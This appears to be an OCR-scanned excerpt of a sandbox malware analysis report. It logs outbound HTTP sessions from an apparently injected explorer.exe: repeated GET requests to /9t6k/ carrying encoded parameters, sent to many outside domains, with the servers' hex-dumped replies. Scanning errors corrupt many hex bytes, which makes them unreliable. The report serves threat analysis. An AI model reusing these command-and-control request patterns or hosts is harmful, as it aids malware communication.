5 4e 54 3d 22 31 35 20 64 61 79 73 22 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22
20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 2e 31 30 31 64 61 74 61 63 65 6e 74 65 72 2e 6e 65 74 2f 69 6d
61 67 65 73 2f 76 65 6e 64 6f 72 2d 31 2f 69 63 6f 6e 2f 31 30 31 64 6f 6d 61 69 6e 2e 69 63 6f 22 3e Oa 3c 6¢ 69 6e 6b 20
72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 2e 31 30 31 64
61 74 61 63 65

Data Ascii: <IDOCTYPE html><html dir="" lang=""><head><title>Future home of makingdoathome.com</title><meta na
me="description" content="Domain Name Registration - register your domain name online,and get the name you want
while it's still available. Internet Domain Registration & International Domain Name Registration."><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><meta htt
p-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="robots" content="index, follow"><meta name="G
OOGLEBOT" content="index, follow"><meta NAME="revisit-after" CONTENT="15 days"><link rel="shortcut icon" href=
"https://park.101datacenter.net/images/vendor-1/icon/101domain.ico"><link rel="stylesheet" href="https://park.101datace

Destination IP Destination Port Process

157.245.239.6 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=5YbgiWOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsRRVF5LwbTMOesGYedm1bG3cIWla&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.ahomedokita.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:03:48 GMT

Server: Apache/2.4.29 (Ubuntu)

Location: https://ahomedokita.com/9t6k/? URflh=5YbgiWwOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsRRVF5LwbTMOes
GYedm1bG3cJWIla&UfrDal=0nMpgJVP5t_PDD5p

Content-Length: 425

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 68 6f 6d 65 64 6f 6b 69 74 61 2e
63 6f 6d 2f 39 74 36 6b 2f 3f 55 52 66 6¢ 68 3d 35 59 62 67 69 57 4f 4d 76 4b 31 30 65 2b 44 2b 54 69 34 6f 4b 76 6d 54
77 755377 61 4b 42 64 65 4b 4e 4¢c 72 6b 56 41 73 52 52 76 46 35 4c 77 62 54 4d 4f 65 73 47 59 65 64 6d 31 62 47 33
63 4a57 49 61 26 61 6d 70 3b 55 66 72 44 61 6¢ 3d 30 6e 4d 70 71 4a 56 50 35 74 5f 50 44 44 35 70 22 3e 68 65 72 65
3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55
62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 68 6f 6d 65 64 6f 6b 69 74 61 2e 63 6f 6d 20 50 6f 72
74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ahomedokita.com/9t
6k/?URflh=5YbgiWOMvK10e+D+TidoKvmTwuSwaKBdeKNLrkVAsRRvF5LwbTMOesGYedm1bG3cJWla&amp;UfrDal=
0nMpqJVP5t_PDD5p">here</a>.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.ahomedokita.com Port
80</address></body></html>
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Session ID

20

Timestamp

Dec 3, 2020
10:05:59.121943951 CET

Dec 3, 2020
10:05:59.346015930 CET

Session ID

21

Timestamp

Dec 3, 2020
10:06:09.674237013 CET

Dec 3, 2020
10:06:09.788731098 CET

Copyright null 2020

Source IP

192.168.2.5
kBytes

transferred

6883

6884

Source IP

192.168.2.5
kBytes

transferred

6903

6904

Source Port

49773

Direction

ouT

Source Port

49774

Direction

ouT

Destination IP Destination Port Process

208.91.197.27 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=+VDOV2YqGr3HQyUjxvrdySDa222PNTvrG/MhsshnzvBOEZIKybOIlzjmZT3lubthnocji&UfrDal=0nMpgJV
P5t_PDD5p HTTP/1.1

Host: www.rodgroup.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Thu, 03 Dec 2020 09:05:59 GMT

Server: Apache

Set-Cookie: vsid=918vr3545319592227689; expires=Tue, 02-Dec-2025 09:05:59 GMT; Max-Age=157680000; path=/;
domain=www.rodgroup.net; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJIBAKX74ixpzVyXbJprcLfbH4psP4+L2entqriOlzh6pkA
aXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRYjS2penECAWEAAQ==_D+jghxJ53hpkEJvSdIN2RigowZkrsn9E7IYs
080I1Brxy3q9LRfNpUg4L7YJ1dF924paShLwlhaHs3kAf2HkTkg==

Keep-Alive: timeout=5, max=124

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 34 39 37 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f
44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f
68 74 6d 6¢ 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d Oa 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f
77 7777 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6¢ 22 20 64 61 74 61 2d 61 64 62 6¢ 6f 63 6b 6b 65 79 3d 22
4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 4542 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78
70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6¢ 7a 68 36 70 6b 41 61 58 4c
5049 63 63 6¢ 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65
6e 4543 41 77 45 41 41 51 3d 3d 5f 44 2b 6a 67 62 78 4a 35 33 68 70 6b 45 4a 76 53 64 6¢ 4e 32 52 69 67 6f 77 5a 6b
72 73 6e 39 45 37 6¢ 59 73 6f 38 4f 49 42 72 78 79 33 71 39 4¢ 52 66 4e 70 55 67 34 4c 37 59 4a 31 64 46 39 32 34 70 61
53 68 4c 77 49 68 61 48 73 33 6b 41 66 32 48 6b 54 6b 67 3d 3d 22 3e 0d Oa 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 7
479 70653d 2274657874 2f6a 6176 6173637269 707422 3e766172206162703b3c2f73637269 7074 3e
3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74
70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74
3e 3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74
74 70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3¢ 2f 73 63 72 69 70
74 3e 3c 73637269 7074207479 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69
6f 6e 20 68 61 6e 64 6¢ 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72
6e 3b 76 61 72 20 69 6d 67 6¢ 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 69
6d 67 22 29 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6¢ 6f 67 2e 73 74
79 6¢ 65 2e 77 69 64 74

Data Ascii: 497d<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.0rg/TR/html4/strict.dtd"><html
xmlns="http://www.w3.0rg/1999/xhtml" data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSWAWSAJBAKX74ixpzVyX
bJprcLfbH4psP4+L2entqriOlzh6pkAaXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAWEAAQ==_D+jgh
xJ53hpkEJvSdIN2RigowZkrsn9E71Yso080I1Brxy3q9LRfNpUg4L7YJ1dF924 paShLwlhaHs3kAf2HkTkg=="><head><script t
ype="text/javascript">var abp;</script><script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=1"></script>
<script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=2"></script><script type="text/javascript">function
handleABPDetect(){try{if('abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style
widt

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URfIh=tVqgbIXu9nsll248AUXCUxr000zC9i0c8STc7UOUyN+2mFy87kkAT VINWFSSPJTjqgHk&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.bulttsliders.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 03 Dec 2020 09:06:09 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fc566f3-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Session ID

22

Timestamp

Dec 3, 2020
10:06:14.969259024 CET

Session ID

23

Timestamp

Dec 3, 2020
10:06:20.158941984 CET

Dec 3, 2020
10:06:20.312937975 CET

Session ID

24

Timestamp

Dec 3, 2020
10:06:25.347436905 CET

Copyright null 2020

Source IP

192.168.2.5

kBytes
transferred

6905

Source IP

192.168.2.5

kBytes
transferred

6905

6907

Source IP

192.168.2.5

kBytes
transferred

6912

Source Port

49775

Direction

ouT

Source Port

49776

Direction

ouT

Source Port

49777

Direction

ouT

Destination IP Destination Port Process

198.54.117.215 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=kTde6z/9FBgibCIh75hFVBEYWatL10Q/rhfr50U2UZBR6XWcBOIN723UV5Uezh3ZQ4o0t&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.thanksforlove.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflIh=b8EUNPE+0Yf5M4MWpXscm/Bt3xsjLt8hNenJI3DjxXNjYfRDWCOpztruTX9IDI5bQG1I1&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.outtheframecustoms.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:06:20 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 157

X-Sorting-Hat-Shopld: 46455914654

X-Dc: gcp-us-centrall

X-Request-1D: a48bf5al-d072-4504-a482-86a323f5a6b5

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c9734b850000c29a9b9ac000000001

Server: cloudflare

CF-RAY: 5fbc218cOadec29a-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 417269 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 7267 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}th1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=wzqvVRf3v7wWdKVsEzaCYIluZDwjvGR+wpj+mt/lyOIJMnJEVZY6i5f9AVogOYOhCkuGFts&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.theyolokart.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:06:25.502850056 CET

Session ID

25

Timestamp

Dec 3, 2020
10:06:30.535192966 CET

Session ID

26

Timestamp

Dec 3, 2020
10:06:36.066818953 CET

Copyright null 2020

kBytes
transferred

6913

Source IP

192.168.2.5

kBytes
transferred

6918

Source IP

192.168.2.5

kBytes
transferred

6919

Direction

IN

Source Port

49778

Direction

ouT

Source Port

49779

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:06:25 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 172

X-Sorting-Hat-Shopld: 46683390117

X-Dc: gcp-us-centrall

X-Request-1D: f513dd57-8ff5-4be0-83dc-fce19114b2c7

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c9735fc900002c560ca9e000000001

Server: cloudflare

CF-RAY: 5fbc21ac7ed12c56-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 7267 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmK{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

66.235.200.146 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=WRaEwe7grAm8RcFyQBNRvy9INVNi7wOvDLX3hizJdol6i043A301dw5NSblbyY8qTgmle&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.higherthan75.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URfIh=73SmHps+05HxyxR+SIs8P85g8AMV[2xb8ZN5KGQQxUczRWjFANVVI8FIZWAGNK7+ujwZ&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.renabbeauty.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Page 55 of 97



Timestamp

Dec 3, 2020
10:06:36.219997883 CET

Session ID

27

Timestamp

Dec 3, 2020
10:06:41.391649961 CET

Dec 3, 2020
10:06:41.560246944 CET

Copyright null 2020

kBytes
transferred

6920

Source IP

192.168.2.5
kBytes

transferred

6926

6927

Direction

IN

Source Port

49780

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:06:36 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 155

X-Sorting-Hat-Shopld: 46582104220

X-Dc: gcp-us-centrall

X-Request-1D: f2b69c12-93a5-455d-9c5e-1e0c44563d3f

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c97389aa0000176eb8b71000000001

Server: cloudflare

CF-RAY: 5fbc21ef7d78176e-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
